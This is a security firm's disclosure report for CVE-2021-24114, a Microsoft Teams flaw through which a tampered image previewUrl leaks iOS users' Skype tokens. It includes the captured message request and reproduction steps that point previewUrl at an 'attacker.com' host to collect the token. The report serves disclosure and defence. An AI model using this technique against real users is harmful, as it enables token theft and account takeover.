GAIS
Cyber Security

MICROSOFT TEAMS

CVE-2021-24114

CRITICAL ACCOUNT TAKEOVER VULNERABILITY REPORT

JUSTWORK OFFICE CAMPUS ÜMRANİYE / İSTANBUL | www.gaissecurity.com

Index

1 Vulnerabilities

1.1 Summary

During the preview process of the image that sent via Teams, the request sent to the image address from client and disclosure of valid Skype token for iPhone users that leads to account takeover vulnerability.

1.2 Description

The related vulnerability affects both Android and iOS devices but account takeover attack can be triggered only iOS devices. When an attacker sends image, Teams uploads it to the Skype file scheme. After the upload process, a second request is sent which includes the preview address of the picture and information about the picture. When the previewUrl value which is manipulated by the attacker is displayed by the client, user's skype token value is disclosured.

Request:

```
POST /v1/users/ME/conversations/19%3A141843a8-de6b-4526-bed8-2468c07d172f_a01fe356-d2b6-4d83-9359-6ff3e5a17ad3%40unq.gbl.spaces/messages HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
Connection: close
Content-Length: 1419
sec-ch-ua: "Google Chrome";v="87", " Not;A Brand";v="99", "Chromium";v="87"
x-ms-session-id: 80cede4e-d42c-e909-3e29-856cc7e5f4bc
BehaviorOverride: redirectAs404
x-ms-scenario-id: 286
x-ms-client-env: pckgsvc-prod-c1-euno-02
x-ms-client-type: web
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/json
ClientInfo: os=windows; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2021011237; utcOffset=+03:00; timezone=Europe/Istanbul
Accept: json
x-ms-client-version: 1415/1.0.0.2021011237
x-ms-user-type: null
Authentication: skypetoken= {Skype Token}
Origin: https://teams.microsoft.com
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://teams.microsoft.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,tr;q=0.8
```

{"content":"","messagetype":"Text","contenttype":"text","amsreferences":["0-weu-d6-d2b090cd74408ff0b1286910cffcdcda"],"clientmessageid":"1298534495983039200","imdisplayname":"numan TÃœRLE","properties":{"files":"[{\"@type\":\"http://schema.skype.com/File\",\"version\":2,\"id\":\"c7ba5c20-2796-4295-b531-cd8fbc7522ab\",\"baseUrl\":\"https://gaissecurity-my.sharepoint.com/personal/numan_turle_gaissecurity_com\",\"type\":\"png\",\"title\":\"11linux.png\",\"state\":\"active\",\"objectUrl\":\"https://gaissecurity-my.sharepoint.com/personal/numan_turle_gaissecurity_com/Documents/Microsoft Teams Chat Files/11linux.png\",\"providerData\":\"{\\\"code\\\":null,\\\"type\\\":0}\",\"itemid\":\"c7ba5c20-2796-4295-b531-cd8fbc7522ab\",\"fileName\":\"11linux.png\",\"fileType\":\"png\",\"fileInfo\":{\"fileUrl\":\"https://gaissecurity-my.sharepoint.com/personal/numan_turle_gaissecurity_com/Documents/Microsoft Teams Chat Files/11linux.png\",\"siteUrl\":\"https://gaissecurity-my.sharepoint.com/personal/numan_turle_gaissecurity_com\",\"serverRelativeUrl\":\"/personal/numan_turle_gaissecurity_com/Documents/Microsoft Teams Chat Files/11linux.png\"},\"botFileProperties\":{},\"sourceOfFile\":3,\"filePreview\":{\"previewUrl\":\"https://eu-api.asm.skype.com/v1/objects/0-weu-d6-d2b090cd74408ff0b1286910cffcdcda/views/imgo\"},\"fileChicletState\":{\"serviceName\":\"p2p\",\"state\":\"active\"}}]","importance":"","subject":null}}

The previewUrl parameter is changed by the attacker and this POST request forwarded to the server.

Since the request sent by the attacker by changing the previewUrl parameter is accepted as trusted by the mobile application, the application makes request to this address adding with the "Authentication: skypetoken" header.

1.3 Test results

- **Android:** Client IP address disclosure only
- **iOS:** Skype Token Disclosure (Leads to Account Takeover)
- **Windows Desktop Application:** No effect was detected.

1.4 Steps to Reproduce

1. First, a chat is started in the Teams application.
2. Then an image is uploaded as an attachment.
3. After the image upload is complete, the request is held before the message is sent.
4. The previewUrl address in the captured request is changed
5. A structure in mobile application checks for the /v1/ objects field in the requests sent. The request that we sent for this reason was like below: https://attacker.com/v1/objects/0-weu-d6-d2b090cd74408ff0b1286910cffcdcda/views/imgo
6. As the last step, the user is expected to view this image from the mobile application. When the user views the image, the token arrives the attacker.

1.5 References

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-24114